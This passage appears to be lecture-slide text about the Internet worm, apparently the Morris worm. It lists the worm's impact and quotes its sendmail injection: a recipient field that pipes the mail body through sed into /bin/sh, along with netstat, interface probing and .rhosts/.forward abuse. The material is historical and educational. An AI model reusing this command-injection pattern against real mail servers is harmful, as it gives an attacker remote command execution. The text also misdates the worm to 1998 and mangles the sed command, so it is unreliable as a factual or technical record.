Internet virus of November 1998. Reported in all the media Infected many, many sites Infected only Unix machines Infected only VAX and Sun3 Virus or worm?. cost of the worm . Network disconnection Loss of service (mail) Time of system administrators End of the age of innocence
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mail from: </dev/null>
rcpt to: <”|sed –d ‘1 ,/^$/’d |/bin/sh; exit 0”>
netstat –n –r
SIOCCIFCONF ioctl system call
user’s .forward and .rhosts files